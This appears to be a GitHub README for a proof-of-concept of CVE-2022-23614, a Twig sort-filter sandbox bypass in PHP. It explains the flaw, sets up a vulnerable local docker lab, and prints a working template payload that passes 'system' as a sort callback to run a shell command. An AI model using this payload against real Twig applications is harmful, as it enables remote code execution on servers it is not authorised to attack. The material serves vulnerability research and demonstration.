davwwwx/cve-2022-23614Proof-of-concept exploit for CVE-2022-23614 demonstrating arbitrary code execution via Twig's sort filter sandbox bypass in PHP applications.
PoC for CVE-2022-23614, GHSA-5mv2-rx3q-4w2v (Twig sort filter code execution/sandbox bypass)
As seen in this commit - https://github.com/twigphp/Twig/commit/.., twig was passing user supplied function name as a callback parameter to uasort (here), thus leading to arbitrary code execution
To build and run the docker container with a vulnerable twig version
$ ./build-docker.sh
Open the webpage at localhost:1337 and try rendering the following payload
{{ ['id','']|sort('system') }}
PoC
Result
